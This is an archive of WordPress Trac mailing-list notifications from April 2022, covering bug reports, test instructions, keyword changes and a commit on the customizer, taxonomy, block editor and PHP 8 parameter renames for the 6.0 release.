Priority: normal | Milestone: 6.0 Component: Customize | Version: 4.9.6 Severity: major | Resolution: Keywords: needs-testing reporter-feedback | Focuses: ---------------------------------------------+--------------------- Changes (by costdev): * keywords: needs-testing => needs-testing reporter-feedback Comment: Per the discussion in the bug scrub, I'm adding `reporter-feedback` to see if this is still an issue after the transition to Block Widgets. -- Ticket URL: <https://core.trac.wordpress.org/ticket/44511#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 00:58:28 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 00:58:28 -0000 Subject: [wp-trac] [WordPress Trac] #54472: Taxonomy: Unregistering taxonomy with default term endlessly regenerates options In-Reply-To: <047.3ad5dde9266e5ac06cbd025e81956446@wordpress.org> References: <047.3ad5dde9266e5ac06cbd025e81956446@wordpress.org> Message-ID: <062.7306acbb06908a2272e75a29987c89c1@wordpress.org> #54472: Taxonomy: Unregistering taxonomy with default term endlessly regenerates options -------------------------------------+-------------------------- Reporter: dlh | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: 5.5 Severity: normal | Resolution: Keywords: has-patch needs-testing | Focuses: performance -------------------------------------+-------------------------- Changes (by costdev): * keywords: has-patch => has-patch needs-testing -- Ticket URL: <https://core.trac.wordpress.org/ticket/54472#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 01:45:55 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 01:45:55 -0000 Subject: [wp-trac] [WordPress Trac] #48896: When enqueued wp-color-picker, toggle response of each widget panel is unresponsive on customizer. In-Reply-To: <051.6f343195bc4aeef07457275510316763@wordpress.org> References: <051.6f343195bc4aeef07457275510316763@wordpress.org> Message-ID: <066.418916660fc30ff19b7a9fd443d22839@wordpress.org> #48896: When enqueued wp-color-picker, toggle response of each widget panel is unresponsive on customizer. ---------------------------------------+--------------------- Reporter: inc2734 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Customize | Version: Severity: normal | Resolution: Keywords: needs-patch needs-testing | Focuses: ---------------------------------------+--------------------- Comment (by costdev): Testing on Firefox (Windows) DevTools (Galaxy S20 Linux), I was able to produce incorrect multi-click behaviour. 1. Navigate to `Appearance > Customize > Widgets`. 2. Double-click on the widget header. Expected behaviour was either: 1. Open the widget and ignore the second click. 2. Open the widget and close it again. Actual behaviour: The widget opened, closed and opened in quick succession. This appears to be due to the `expanded` class not being applied until after the animation is complete. First click: - Toggle button: "My `aria-expanded` isn't true, open the widget." - Widget: "I don't have the `expanded` class yet, open me." Second click while still animating: - Toggle button: "My `aria-expanded` is true, close the widget." - Widget: "I don't have the `expanded` class yet, open me." In this situation, the toggle button is the source of truth. Changing `if ( expanded )` to `if ( $toggleBtn.attr( 'aria-expanded' ) === 'false' )` is what fixed it for me. I'll attach a patch in just a moment. -- Ticket URL: <https://core.trac.wordpress.org/ticket/48896#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 01:46:10 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 01:46:10 -0000 Subject: [wp-trac] [WordPress Trac] #48896: When enqueued wp-color-picker, toggle response of each widget panel is unresponsive on customizer. In-Reply-To: <051.6f343195bc4aeef07457275510316763@wordpress.org> References: <051.6f343195bc4aeef07457275510316763@wordpress.org> Message-ID: <066.6225be7a4dd3617b31111b892d09f175@wordpress.org> #48896: When enqueued wp-color-picker, toggle response of each widget panel is unresponsive on customizer. ---------------------------------------+--------------------- Reporter: inc2734 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Customize | Version: Severity: normal | Resolution: Keywords: needs-patch needs-testing | Focuses: ---------------------------------------+--------------------- Changes (by costdev): * Attachment "48896.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/48896> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 01:48:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 01:48:37 -0000 Subject: [wp-trac] [WordPress Trac] #48896: When enqueued wp-color-picker, toggle response of each widget panel is unresponsive on customizer. In-Reply-To: <051.6f343195bc4aeef07457275510316763@wordpress.org> References: <051.6f343195bc4aeef07457275510316763@wordpress.org> Message-ID: <066.9d91ed925759e6c6d45014edf8df3bcd@wordpress.org> #48896: When enqueued wp-color-picker, toggle response of each widget panel is unresponsive on customizer. -------------------------------------+--------------------- Reporter: inc2734 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Customize | Version: Severity: normal | Resolution: Keywords: needs-testing has-patch | Focuses: -------------------------------------+--------------------- Changes (by costdev): * keywords: needs-patch needs-testing => needs-testing has-patch Comment: To test the patch: 1. Run these commands: {{{ grunt patch:48896 npm run build:dev }}} 2. Navigate to `Appearance > Customize > Widgets`. 3. Double-click/Double-tap the widget title. It should just open instead of rubber-banding. -- Ticket URL: <https://core.trac.wordpress.org/ticket/48896#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 01:48:58 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 01:48:58 -0000 Subject: [wp-trac] [WordPress Trac] #48896: When enqueued wp-color-picker, toggle response of each widget panel is unresponsive on customizer. In-Reply-To: <051.6f343195bc4aeef07457275510316763@wordpress.org> References: <051.6f343195bc4aeef07457275510316763@wordpress.org> Message-ID: <066.14b4f1622eedfb56c9e76a8ccff89cf2@wordpress.org> #48896: When enqueued wp-color-picker, toggle response of each widget panel is unresponsive on customizer. -------------------------------------------------+------------------------- Reporter: inc2734 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Customize | Version: Severity: normal | Resolution: Keywords: has-patch needs-testing has- | Focuses: testing-info | -------------------------------------------------+------------------------- Changes (by costdev): * keywords: needs-testing has-patch => has-patch needs-testing has- testing-info -- Ticket URL: <https://core.trac.wordpress.org/ticket/48896#comment:12> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 01:54:44 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 01:54:44 -0000 Subject: [wp-trac] [WordPress Trac] #55576: DB connection fail on every computer restart In-Reply-To: <054.6b447449393cccc336060ac2b3324c5f@wordpress.org> References: <054.6b447449393cccc336060ac2b3324c5f@wordpress.org> Message-ID: <069.9dc48f9c01c57b7a5f83da86b96c0854@wordpress.org> #55576: DB connection fail on every computer restart --------------------------+------------------------------ Reporter: matt.scott | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.3 Severity: normal | Resolution: Keywords: | Focuses: administration --------------------------+------------------------------ Comment (by ironprogrammer): Agreed. This isn't a "bug" so much as a temporary WP error state as the environment spins up. For comparison, I had both Safari and Chrome opened to a WP page, and after reboot, my local install (Laravel Valet + DBngin) logged the same error. Errors were logged for both browsers as they attempted to reload the pages. Chrome lagged a little behind Safari, but when I waited long enough, it tried (and failed) as well. After starting DBngin, the error went away for subsequent page loads. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55576#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 02:31:18 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 02:31:18 -0000 Subject: [wp-trac] =?utf-8?q?=5BWordPress_Trac=5D_=2355579=3A_Permanently_?= =?utf-8?q?disable_=E2=80=9CWelcome_to_the_block_editor=E2=80=9D?= Message-ID: <052.58e277c4a476c141ea27522817bfd494@wordpress.org> #55579: Permanently disable “Welcome to the block editor” --------------------------+----------------------------- Reporter: danskoya | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Keywords: Focuses: | --------------------------+----------------------------- There needs to be an option baked into WordPress to permanently disable the “Welcome to the block editor” popup. I understand what the block editor does, I don't need to be reminded. Every time I clear my browser cookies/cache, and log back in, this popup reappears. There is no built-in option to permanently disable it. Self-hosted WordPress sites should have the option to reject requests to s.w.org - I have to use a local proxy to actually block requires pulled from s.w.org rendering the “Welcome to the block editor” popup broken with missing elements. I don't use plugins, and have no need for them. Using a plugin to disable the “Welcome to the block editor” adds more complexity to my setup. I login to my WordPress website to post or edit an existing post/page and don't need distractions like this “Welcome to the block editor” popup. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55579> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 02:41:36 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 02:41:36 -0000 Subject: [wp-trac] [WordPress Trac] #55580: Featured image in Cover block missing from published page Message-ID: <058.74050812dc4066fb9d0cd8e53ada526e@wordpress.org> #55580: Featured image in Cover block missing from published page ----------------------------+----------------------------------------- Reporter: ironprogrammer | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Editor | Version: trunk Severity: normal | Keywords: needs-patch has-screenshots Focuses: | ----------------------------+----------------------------------------- When setting a Cover block's image to the post featured image, the selected image is missing from the frontend page (preview or published). Upon DOM inspection, the Cover's `<img>` tag is not present. [https://github.com/WordPress/gutenberg/pull/39658 This feature] was introduced via backports for WordPress 6.0. See https://core.trac.wordpress.org/ticket/55567 for the umbrella ticket covering 6.0 backports bug fixes. === Screenshots [[Image(https://cldup.com/6RpwvUYGYK.png)]] ''Backend editor displaying featured image in Cover block.'' [[Image(https://cldup.com/BsWJCxroah.png)]] ''Frontend page showing missing image from Cover block. ❌'' Props @annezazu. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55580> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 02:56:45 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 02:56:45 -0000 Subject: [wp-trac] [WordPress Trac] #47968: Feed (with comments) Last-Modified header only considers latest comment date In-Reply-To: <049.4a527b8603701cc3902a9ff9ce014bd4@wordpress.org> References: <049.4a527b8603701cc3902a9ff9ce014bd4@wordpress.org> Message-ID: <064.322623cbb7627e18dc074864ef032e14@wordpress.org> #47968: Feed (with comments) Last-Modified header only considers latest comment date --------------------------------------+--------------------- Reporter: xiven | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Feeds | Version: 5.2.2 Severity: normal | Resolution: Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+--------------------- Changes (by costdev): * Attachment "47968.2.diff" added. Updated patch with some tidying up. Splits tests, adds documentation, `@covers` annotations, `$message` parameters. -- Ticket URL: <https://core.trac.wordpress.org/ticket/47968> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 03:40:01 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 03:40:01 -0000 Subject: [wp-trac] [WordPress Trac] #55580: Featured image in Cover block missing from published page In-Reply-To: <058.74050812dc4066fb9d0cd8e53ada526e@wordpress.org> References: <058.74050812dc4066fb9d0cd8e53ada526e@wordpress.org> Message-ID: <073.233c543674ea0f262fdedc505f39e859@wordpress.org> #55580: Featured image in Cover block missing from published page -----------------------------------------+------------------------------ Reporter: ironprogrammer | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Editor | Version: trunk Severity: normal | Resolution: Keywords: needs-patch has-screenshots | Focuses: -----------------------------------------+------------------------------ Comment (by ironprogrammer): == Test Report To reproduce this issue, please refer to the following test instructions. **Note that the Gutenberg plugin should NOT be active, or the issue will not be reproducible.** === Environment * WordPress 6.0-beta1-53184 ([https://wordpress.org/wordpress-6.0-beta1.zip direct download] via `wp- cli`) * Safari 15.4 * macOS 12.3.1 (Monterey) * Theme: Twenty Twenty-Two * Gutenberg DISABLED 🔴 === Steps to Test 1. Create a new post. 2. In the **Settings** sidebar (opened via the "cog" icon), select the "Post" tab. 3. Expand the "Featured image" section, and click "Set featured image". 4. Select or upload an image, and click the **Set featured image** button when done. 5. At the block inserter, add a new Cover block (e.g. by typing the `/cover` shortcut). 6. In the block toolbar, select the "Use featured image" icon (adjacent to "Add Media"). 7. Observe that the featured image selected in Step 4 is displayed in the block. ✅ 8. Publish the post. 9. Open the post on the frontend of the site, **and scroll past the template's default featured image, if present** (see note below). 10. Observe that the Cover block background is gray, and does not display the featured image. ❌ > IMPORTANT: If using the default Twenty Twenty-Two theme, note that the Single Post template will display the post's featured image directly below the post title. You will need to scroll past the template's featured image to see the Cover block for the post. === Expected Results (❌) - The featured image should be displayed in the Cover block on the frontend of the site, consistent with how it appears in the backend post editor. === Additional Notes The above testing was performed in a new directory (fresh install), including only the WordPress 6.0 Beta 1 ZIP build and a sample JPEG image. === Screenshots Please see [#ticket originally reported screenshots]. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55580#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 03:42:57 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 03:42:57 -0000 Subject: [wp-trac] [WordPress Trac] #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg In-Reply-To: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> References: <050.b25b16ae3eb0538964b8023d68c7ab42@wordpress.org> Message-ID: <065.7ec733485536a494ee23774bfb9eed0d@wordpress.org> #55567: Editor: Backport bug fixes for WordPress 6.0 from Gutenberg ----------------------------+--------------------- Reporter: gziolo | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: Editor | Version: trunk Severity: normal | Resolution: Keywords: has-patch | Focuses: ----------------------------+--------------------- Comment (by ironprogrammer): === Related Ticket Please see https://core.trac.wordpress.org/ticket/55580 for issue related to [https://github.com/WordPress/gutenberg/pull/39658 featured image as cover block]. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55567#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 05:09:03 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 05:09:03 -0000 Subject: [wp-trac] [WordPress Trac] #51928: Provide plugin/theme update failure data to dot org In-Reply-To: <051.4dbb01768b967a4194f232b13ac991fe@wordpress.org> References: <051.4dbb01768b967a4194f232b13ac991fe@wordpress.org> Message-ID: <066.cc74389df152a97846238b987c1f0780@wordpress.org> #51928: Provide plugin/theme update failure data to dot org -------------------------------------+----------------------- Reporter: afragen | Owner: (none) Type: task (blessed) | Status: assigned Priority: normal | Milestone: 6.0 Component: Upgrade/Install | Version: Severity: normal | Resolution: Keywords: has-patch needs-refresh | Focuses: -------------------------------------+----------------------- Changes (by sumitsingh): * keywords: has-patch => has-patch needs-refresh -- Ticket URL: <https://core.trac.wordpress.org/ticket/51928#comment:58> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 05:10:28 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 05:10:28 -0000 Subject: [wp-trac] [WordPress Trac] #51928: Provide plugin/theme update failure data to dot org In-Reply-To: <051.4dbb01768b967a4194f232b13ac991fe@wordpress.org> References: <051.4dbb01768b967a4194f232b13ac991fe@wordpress.org> Message-ID: <066.b46601f28c34c0e6532610a3ebc88382@wordpress.org> #51928: Provide plugin/theme update failure data to dot org -------------------------------------+----------------------- Reporter: afragen | Owner: (none) Type: task (blessed) | Status: assigned Priority: normal | Milestone: 6.0 Component: Upgrade/Install | Version: Severity: normal | Resolution: Keywords: has-patch needs-refresh | Focuses: -------------------------------------+----------------------- Comment (by kafleg): It looks like this patch doesn’t apply anymore, and will need a refresh to move forward. -- Ticket URL: <https://core.trac.wordpress.org/ticket/51928#comment:59> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 05:17:06 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 05:17:06 -0000 Subject: [wp-trac] [WordPress Trac] #51423: Fix function argument type issues reported by PHPStan In-Reply-To: <058.037cc284a8025103d89d1563dadfd659@wordpress.org> References: <058.037cc284a8025103d89d1563dadfd659@wordpress.org> Message-ID: <073.d83a49ceea785b7329e55422e307c855@wordpress.org> #51423: Fix function argument type issues reported by PHPStan -------------------------------------------+------------------------------- Reporter: SergeyBiryukov | Owner: hellofromTonya Type: task (blessed) | Status: assigned Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php8 has-patch has-unit-tests | Focuses: coding-standards -------------------------------------------+------------------------------- Comment (by kafleg): This ticket came up during **bug scrub**. What is left here? The discussion is long. ;) -- Ticket URL: <https://core.trac.wordpress.org/ticket/51423#comment:109> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 05:22:22 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 05:22:22 -0000 Subject: [wp-trac] [WordPress Trac] #39451: Javascript error when link_manager_enabled ( WP_Widget_Links) and theme supports customize-selective-refresh-widgets In-Reply-To: <049.1d01fbf9d07c2b4b5f3269e21db19457@wordpress.org> References: <049.1d01fbf9d07c2b4b5f3269e21db19457@wordpress.org> Message-ID: <064.5d9f6c49f783706c89dc7def7c9192eb@wordpress.org> #39451: Javascript error when link_manager_enabled ( WP_Widget_Links) and theme supports customize-selective-refresh-widgets -------------------------------------+------------------------- Reporter: nikeo | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Customize | Version: 4.5 Severity: normal | Resolution: Keywords: has-patch needs-testing | Focuses: javascript -------------------------------------+------------------------- Changes (by sumitsingh): * keywords: has-patch => has-patch needs-testing -- Ticket URL: <https://core.trac.wordpress.org/ticket/39451#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 05:29:33 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 05:29:33 -0000 Subject: [wp-trac] [WordPress Trac] #42362: WordPress database error Unknown column 'wp_mywordpresssite' in 'field list' In-Reply-To: <052.0424444789f89131e4a3240f0abc1fec@wordpress.org> References: <052.0424444789f89131e4a3240f0abc1fec@wordpress.org> Message-ID: <067.46137c59693a33b45de6759908c443c3@wordpress.org> #42362: WordPress database error Unknown column 'wp_mywordpresssite' in 'field list' ------------------------------------+----------------------------- Reporter: lazam786 | Owner: SergeyBiryukov Type: defect (bug) | Status: reviewing Priority: normal | Milestone: 6.0 Component: Database | Version: 4.6 Severity: normal | Resolution: Keywords: php8 php81 needs-patch | Focuses: ------------------------------------+----------------------------- Changes (by sumitsingh): * keywords: has-patch php8 php81 => php8 php81 needs-patch -- Ticket URL: <https://core.trac.wordpress.org/ticket/42362#comment:36> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 05:31:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 05:31:02 -0000 Subject: [wp-trac] [WordPress Trac] #42362: WordPress database error Unknown column 'wp_mywordpresssite' in 'field list' In-Reply-To: <052.0424444789f89131e4a3240f0abc1fec@wordpress.org> References: <052.0424444789f89131e4a3240f0abc1fec@wordpress.org> Message-ID: <067.6adb383cb894677c0b1ee41e67e7d804@wordpress.org> #42362: WordPress database error Unknown column 'wp_mywordpresssite' in 'field list' ------------------------------------+----------------------------- Reporter: lazam786 | Owner: SergeyBiryukov Type: defect (bug) | Status: reviewing Priority: normal | Milestone: 6.0 Component: Database | Version: 4.6 Severity: normal | Resolution: Keywords: php8 php81 needs-patch | Focuses: ------------------------------------+----------------------------- Comment (by sumitsingh): I have checked and above added patch is not working. -- Ticket URL: <https://core.trac.wordpress.org/ticket/42362#comment:37> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 05:40:10 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 05:40:10 -0000 Subject: [wp-trac] [WordPress Trac] #54562: 5.9-beta1 Fatal Error: Class 'WpOrg\Requests\Proxy\HTTP' not found In-Reply-To: <057.b9b9932cbaae0b3b43c2b4cc7b0f7636@wordpress.org> References: <057.b9b9932cbaae0b3b43c2b4cc7b0f7636@wordpress.org> Message-ID: <072.2ef7d6e5fb1a61751cce7c45defb4252@wordpress.org> #54562: 5.9-beta1 Fatal Error: Class 'WpOrg\Requests\Proxy\HTTP' not found ---------------------------+----------------------------- Reporter: alexeydemidov | Owner: hellofromTonya Type: defect (bug) | Status: reopened Priority: normal | Milestone: Future Release Component: HTTP API | Version: 5.9 Severity: blocker | Resolution: Keywords: has-patch | Focuses: ---------------------------+----------------------------- Changes (by mikeschroder): * milestone: 6.0 => Future Release Comment: If I understand correctly, it looks like this change / bug is linked to the Requests 2.0 update (#54504), which was moved to Future Release. Going to go ahead and move this one from 6.0 to Future Release as well. If I misunderstand, or something changes, please feel free to move it back. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54562#comment:18> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 05:41:32 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 05:41:32 -0000 Subject: [wp-trac] [WordPress Trac] #54504: Update Requests library to version 2.0.0 In-Reply-To: <047.155d8f3c1ffcaeeb9ae427bccbfd55af@wordpress.org> References: <047.155d8f3c1ffcaeeb9ae427bccbfd55af@wordpress.org> Message-ID: <062.ef6e4c8e29ce9297ff58701190f3d302@wordpress.org> #54504: Update Requests library to version 2.0.0 -------------------------------------------------+------------------------- Reporter: jrf | Owner: | SergeyBiryukov Type: task (blessed) | Status: reopened Priority: normal | Milestone: Future | Release Component: External Libraries | Version: Severity: normal | Resolution: Keywords: php80 php81 has-patch has-unit- | Focuses: tests early early-like-actually-early | -------------------------------------------------+------------------------- Comment (by mikeschroder): A quick note to check out #54504, which I've also moved to Future Release, to see if it's still an issue after this is merged. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54504#comment:53> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 05:52:12 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 05:52:12 -0000 Subject: [wp-trac] [WordPress Trac] #54420: Tests: Mock REST API remote requests In-Reply-To: <058.f249cf1bddfb7c42dc7f13844ea90215@wordpress.org> References: <058.f249cf1bddfb7c42dc7f13844ea90215@wordpress.org> Message-ID: <073.ac749834500b395de9a4a215d59420f6@wordpress.org> #54420: Tests: Mock REST API remote requests --------------------------------------+----------------------------- Reporter: hellofromTonya | Owner: hellofromTonya Type: task (blessed) | Status: reopened Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: Severity: normal | Resolution: Keywords: needs-patch dev-feedback | Focuses: rest-api --------------------------------------+----------------------------- Changes (by sumitsingh): * keywords: needs-patch => needs-patch dev-feedback -- Ticket URL: <https://core.trac.wordpress.org/ticket/54420#comment:22> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 05:55:33 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 05:55:33 -0000 Subject: [wp-trac] [WordPress Trac] #54637: wp_read_image_metadata() sends `false` instead of `array` for `$iptc` and `$exif` parameters to `wp_read_image_metadata` filter In-Reply-To: <063.32fc93bcbf6777b6c94db4a37bb7688c@wordpress.org> References: <063.32fc93bcbf6777b6c94db4a37bb7688c@wordpress.org> Message-ID: <078.cb1aee9b052a6f241518a638ff159a48@wordpress.org> #54637: wp_read_image_metadata() sends `false` instead of `array` for `$iptc` and `$exif` parameters to `wp_read_image_metadata` filter -------------------------------------+--------------------- Reporter: volodymyrkolesnykov | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Media | Version: 5.8.2 Severity: normal | Resolution: Keywords: has-patch needs-testing | Focuses: -------------------------------------+--------------------- Changes (by sumitsingh): * keywords: has-patch => has-patch needs-testing -- Ticket URL: <https://core.trac.wordpress.org/ticket/54637#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 06:03:48 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 06:03:48 -0000 Subject: [wp-trac] [WordPress Trac] #54521: Taxonomy term quick edit does not save if taxonomy has non latin characters In-Reply-To: <062.b42dafe0ef9c7a00c638208cd745b0c4@wordpress.org> References: <062.b42dafe0ef9c7a00c638208cd745b0c4@wordpress.org> Message-ID: <077.c2ab6a0911f17a0ea71bd0600cecd46c@wordpress.org> #54521: Taxonomy term quick edit does not save if taxonomy has non latin characters -------------------------------------------------+------------------------- Reporter: panagiotis.synetos | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: 5.8.2 Severity: normal | Resolution: Keywords: has-patch has-unit-tests dev- | Focuses: feedback | administration -------------------------------------------------+------------------------- Changes (by sumitsingh): * keywords: has-patch => has-patch has-unit-tests dev-feedback -- Ticket URL: <https://core.trac.wordpress.org/ticket/54521#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 08:36:55 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 08:36:55 -0000 Subject: [wp-trac] =?utf-8?q?=5BWordPress_Trac=5D_=2354088=3A_Uploading_m?= =?utf-8?q?edia_containing_Norwegian_letter_=C3=A5_does_not_automatically_?= =?utf-8?q?readjust_it_to_become_aa=2E?= In-Reply-To: <055.25817a5a91d00dd70732f09b4daa247d@wordpress.org> References: <055.25817a5a91d00dd70732f09b4daa247d@wordpress.org> Message-ID: <070.97195991ee95feee19caa336e95e2342@wordpress.org> #54088: Uploading media containing Norwegian letter å does not automatically readjust it to become aa. ------------------------------------------+--------------------- Reporter: paaljoachim | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Media | Version: Severity: normal | Resolution: Keywords: needs-patch needs-unit-tests | Focuses: ------------------------------------------+--------------------- Comment (by paaljoachim): Thank you for bringing this up @costdev Let's go with Bjørn's @bjornjohansen passion for converting å to a...:) We need someone/dev to create a patch converting å to a. It would be nice to get it into WP 6.0. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54088#comment:22> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 08:40:07 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 08:40:07 -0000 Subject: [wp-trac] [WordPress Trac] #51928: Provide plugin/theme update failure data to dot org In-Reply-To: <051.4dbb01768b967a4194f232b13ac991fe@wordpress.org> References: <051.4dbb01768b967a4194f232b13ac991fe@wordpress.org> Message-ID: <066.d36b63c18cdc7b9e41749b82ea92a8b6@wordpress.org> #51928: Provide plugin/theme update failure data to dot org -----------------------------+----------------------- Reporter: afragen | Owner: (none) Type: task (blessed) | Status: assigned Priority: normal | Milestone: 6.0 Component: Upgrade/Install | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: -----------------------------+----------------------- Changes (by afragen): * keywords: has-patch needs-refresh => has-patch Comment: Merge conflicts should be fixed in @hellofromTonya's PR via above PR. -- Ticket URL: <https://core.trac.wordpress.org/ticket/51928#comment:61> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 10:50:29 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 10:50:29 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.9bd9a64e600064090618f747d850b691@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53185" 53185]: {{{ #!CommitTicketReference repository="" revision="53185" Code Modernization: Rename parameters that use reserved keywords in `wp- admin/includes/list-table.php`. While using reserved PHP keywords as parameter name labels is allowed, in the context of function calls using named parameters in PHP 8.0+, this will easily lead to confusion. To avoid that, it is recommended not to use reserved keywords as function parameter names. This commit renames the `$class` parameter to `$class_name` in `_get_list_table()`. Follow-up to [52946], [52996], [52997], [52998], [53003], [53014], [53029], [53039], [53116], [53117], [53137], [53174], [53184]. Props jrf, aristath, poena, justinahinon, SergeyBiryukov. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:24> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 11:08:35 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 11:08:35 -0000 Subject: [wp-trac] [WordPress Trac] #54572: Add a function for updating the existing role instead of removing, then adding one In-Reply-To: <056.b2c66fa027339f31f120bd3712e73851@wordpress.org> References: <056.b2c66fa027339f31f120bd3712e73851@wordpress.org> Message-ID: 